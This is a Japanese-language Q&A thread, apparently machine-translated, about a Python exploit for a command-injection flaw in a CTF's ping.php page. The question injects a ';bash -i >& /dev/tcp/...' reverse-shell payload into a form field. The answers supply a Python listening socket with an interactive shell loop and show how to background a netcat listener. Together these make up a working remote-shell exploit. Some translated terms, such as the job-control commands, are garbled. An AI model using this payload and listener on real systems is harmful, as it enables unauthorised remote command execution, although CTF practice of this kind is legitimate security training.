CTFのコマンドインジェクションの脆弱性を悪用するpythonでエクスプロイトをコーディングしていますが、netcatリスナーを起動してペイロードをリモートホストに送信し、接続が確立されると、スクリプトの実行が終了し、接続が確立されます。
これは私のコードです:
url= "http://vuln_url:8080/ping.php"
IP_ADDRESS = 'local_ip'
PORT = '9999'
cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)
values = {
'ip': cmd,
'submit':'submit'
}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)
私がしたいのは次のようなものです:
url= "http://vuln_url:8080/ping.php"
IP_ADDRESS = 'local_ip'
PORT = '9999'
cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)
values = {
'ip': cmd,
'submit':'submit'
}
#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse Shell
urllib2.urlopen(req)
#Code to drop me to the nc stablished connection
そのようなことさえ可能かどうかはわかりません。何か案が?
通常は、リスナーを個別に起動するだけです。新しいターミナルを開き、nc -l -p 9999
を実行します。 thenエクスプロイトを起動して、リモートマシンにリバースシェルを開始させます。
このプロセスで問題が発生する可能性があることはたくさんあります。通常、シェルをバインドすることは、盲目のときにリバースシェルを機能させるよりもはるかに簡単です。
リスニングソケットを開き、接続を受信したらそれを操作する必要があります。
だから、まずあなたのリスニングソケットを開きます(これはnetcatを置き換えます)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)
ソケットを取る単純なinteract
関数を使用できます。
def interact(sock):
command=''
while(command != 'exit'):
command=raw_input('$ ')
sock.send(command + '\n')
time.sleep(.5)
print sock.recv(0x10000)
return
次に、次のようなものと一緒に使用できます。
interact(s.accept())
これには多少の調整が必要になる場合がありますが、それが基本的なレイアウトです。
Kaliマシンでは、次のコマンドを発行して、netcatリスナーをバックグラウンドにプッシュできます。
nc -lvp [ポート]&(コマンドで角かっこを使用しないでください)
カーソルが新しい空白行にある場合がありますが、心配はいりません。Enterキーを押すだけで、別のコマンドを発行できる場所に戻ります。以下を使用して、バックグラウンドでジョブを自由に見てください。
仕事
ジョブは、番号、ステータス、ジョブの順にリストされています。次のコマンドを発行して、ジョブを強制終了できます。
%1を殺す
1は、殺したい仕事です。とにかく、ncリスナーはバックグラウンドにあり、pythonエクスプロイトスクリプトを実行できます。このスクリプトが成功すると、シェル/接続が表示されます。